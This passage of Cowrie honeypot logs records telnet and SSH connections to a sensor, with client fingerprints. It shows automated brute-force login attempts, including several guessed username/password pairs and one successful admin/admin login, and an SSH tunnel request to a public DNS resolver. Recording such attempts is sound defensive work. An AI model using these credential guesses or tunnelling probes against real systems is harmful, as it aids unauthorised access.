{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":36092,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1c216fda446","protocol":"telnet","message":"New connection: 209.126.87.217:36092 (159.203.135.109:23) [session: b1c216fda446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:52.257499Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":36108,"dst_ip":"159.203.135.109","dst_port":23,"session":"9549f8a2e9f5","protocol":"telnet","message":"New connection: 209.126.87.217:36108 (159.203.135.109:23) [session: 9549f8a2e9f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:00:55.967419Z"}
{"eventid":"cowrie.session.closed","duration":33.25616717338562,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:00.872829Z","src_ip":"209.126.87.217","session":"8e9a48c7a64e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":40348,"dst_ip":"159.203.135.109","dst_port":23,"session":"9eb20f14b3cf","protocol":"telnet","message":"New connection: 209.126.87.217:40348 (159.203.135.109:23) [session: 9eb20f14b3cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:01.359264Z"}
{"eventid":"cowrie.session.closed","duration":31.48042392730713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:01.924355Z","src_ip":"209.126.87.217","session":"0cb1afd0bd5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.820972204208374,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:02.796872Z","src_ip":"209.126.87.217","session":"675a8f442106","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":51346,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1450465ad31","protocol":"ssh","message":"New connection: 171.244.141.86:51346 (159.203.135.109:22) [session: c1450465ad31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:04.431203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:04.436091Z","src_ip":"171.244.141.86","session":"c1450465ad31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.47071433067322,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:04.539832Z","src_ip":"209.126.87.217","session":"60cfde0ada7c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:04.692767Z","src_ip":"171.244.141.86","session":"c1450465ad31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"asas","message":"login attempt [admin/asas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:05.739665Z","src_ip":"171.244.141.86","session":"c1450465ad31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.97496509552002,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:06.625004Z","src_ip":"209.126.87.217","session":"0a10eb10f2fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":40364,"dst_ip":"159.203.135.109","dst_port":23,"session":"19d038753037","protocol":"telnet","message":"New connection: 209.126.87.217:40364 (159.203.135.109:23) [session: 19d038753037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:06.695918Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":40378,"dst_ip":"159.203.135.109","dst_port":23,"session":"0746d7824d7d","protocol":"telnet","message":"New connection: 209.126.87.217:40378 (159.203.135.109:23) [session: 0746d7824d7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:06.996819Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:07.001267Z","src_ip":"171.244.141.86","session":"c1450465ad31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":40394,"dst_ip":"159.203.135.109","dst_port":23,"session":"faa02cde255b","protocol":"telnet","message":"New connection: 209.126.87.217:40394 (159.203.135.109:23) [session: faa02cde255b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:07.319850Z"}
{"eventid":"cowrie.session.closed","duration":34.68149161338806,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:08.092574Z","src_ip":"209.126.87.217","session":"3db6a102979d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.331422090530396,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:08.615427Z","src_ip":"209.126.87.217","session":"19a81dfd57ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.241777420043945,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:08.746663Z","src_ip":"209.126.87.217","session":"789afa2271ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.71166372299194,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:09.327893Z","src_ip":"209.126.87.217","session":"30c5e0e3c2b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":38550,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc18f09f7172","protocol":"telnet","message":"New connection: 209.126.87.217:38550 (159.203.135.109:23) [session: fc18f09f7172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:09.728368Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54258,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb10f77d9b28","protocol":"ssh","message":"New connection: 159.203.92.129:54258 (159.203.135.109:22) [session: cb10f77d9b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:10.148456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:10.154420Z","src_ip":"159.203.92.129","session":"cb10f77d9b28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:10.161490Z","src_ip":"159.203.92.129","session":"cb10f77d9b28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Cloud12#$","message":"login attempt [ansible/Cloud12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:10.173082Z","src_ip":"159.203.92.129","session":"cb10f77d9b28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.667264461517334,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:10.221056Z","src_ip":"209.126.87.217","session":"c2caae002c94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.397647857666016,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:10.389062Z","src_ip":"209.126.87.217","session":"5e81076d1bea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.222044944763184,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:10.567250Z","src_ip":"209.126.87.217","session":"71db5ff863f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:11.181264Z","src_ip":"159.203.92.129","session":"cb10f77d9b28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":38564,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce43ddd72fc4","protocol":"telnet","message":"New connection: 209.126.87.217:38564 (159.203.135.109:23) [session: ce43ddd72fc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:11.442445Z"}
{"eventid":"cowrie.session.closed","duration":37.0253849029541,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:11.599681Z","src_ip":"209.126.87.217","session":"9fbe99165d2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":19978,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9bc3877fa6b","protocol":"ssh","message":"New connection: 87.251.64.176:19978 (10.17.0.5:22) [session: b9bc3877fa6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:11.838103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:11.845943Z","src_ip":"87.251.64.176","session":"b9bc3877fa6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:11.942441Z","src_ip":"87.251.64.176","session":"b9bc3877fa6b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:12.232776Z","src_ip":"87.251.64.176","session":"b9bc3877fa6b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:12.331778Z","session":"b9bc3877fa6b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:12.429825Z","src_ip":"87.251.64.176","session":"b9bc3877fa6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:12.528682Z","src_ip":"87.251.64.176","session":"b9bc3877fa6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":40076,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef41804b6bdb","protocol":"ssh","message":"New connection: 103.146.202.174:40076 (159.203.135.109:22) [session: ef41804b6bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:16.688724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:16.705748Z","src_ip":"103.146.202.174","session":"ef41804b6bdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":38572,"dst_ip":"159.203.135.109","dst_port":23,"session":"060c81d74efc","protocol":"telnet","message":"New connection: 209.126.87.217:38572 (159.203.135.109:23) [session: 060c81d74efc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:16.757209Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:16.947833Z","src_ip":"103.146.202.174","session":"ef41804b6bdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":38578,"dst_ip":"159.203.135.109","dst_port":23,"session":"d86bd9cf7a38","protocol":"telnet","message":"New connection: 209.126.87.217:38578 (159.203.135.109:23) [session: d86bd9cf7a38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:17.138427Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":38590,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dcca63c40d8","protocol":"telnet","message":"New connection: 209.126.87.217:38590 (159.203.135.109:23) [session: 1dcca63c40d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:17.393740Z"}
{"eventid":"cowrie.login.failed","username":"student","password":"abc123","message":"login attempt [student/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:17.947976Z","src_ip":"103.146.202.174","session":"ef41804b6bdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":38592,"dst_ip":"159.203.135.109","dst_port":23,"session":"2efdb72c153a","protocol":"telnet","message":"New connection: 209.126.87.217:38592 (159.203.135.109:23) [session: 2efdb72c153a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:17.999021Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":38596,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2eeeff078a2","protocol":"telnet","message":"New connection: 209.126.87.217:38596 (159.203.135.109:23) [session: d2eeeff078a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:18.131013Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":38606,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a654078fa22","protocol":"telnet","message":"New connection: 209.126.87.217:38606 (159.203.135.109:23) [session: 6a654078fa22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:18.285930Z"}
{"eventid":"cowrie.session.closed","duration":32.99960517883301,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:19.129510Z","src_ip":"209.126.87.217","session":"d90c1a342875","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:19.192315Z","src_ip":"103.146.202.174","session":"ef41804b6bdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.54146718978882,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:21.571700Z","src_ip":"209.126.87.217","session":"4bd4e8671a77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":50526,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdc1bcaf8d67","protocol":"ssh","message":"New connection: 45.43.86.48:50526 (10.17.0.5:22) [session: cdc1bcaf8d67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:22.291925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:22.297588Z","src_ip":"45.43.86.48","session":"cdc1bcaf8d67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":43622,"dst_ip":"159.203.135.109","dst_port":23,"session":"43b0c928b69c","protocol":"telnet","message":"New connection: 209.126.87.217:43622 (159.203.135.109:23) [session: 43b0c928b69c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:22.343991Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:01:22.410460Z","src_ip":"45.43.86.48","session":"cdc1bcaf8d67","protocol":"ssh"}
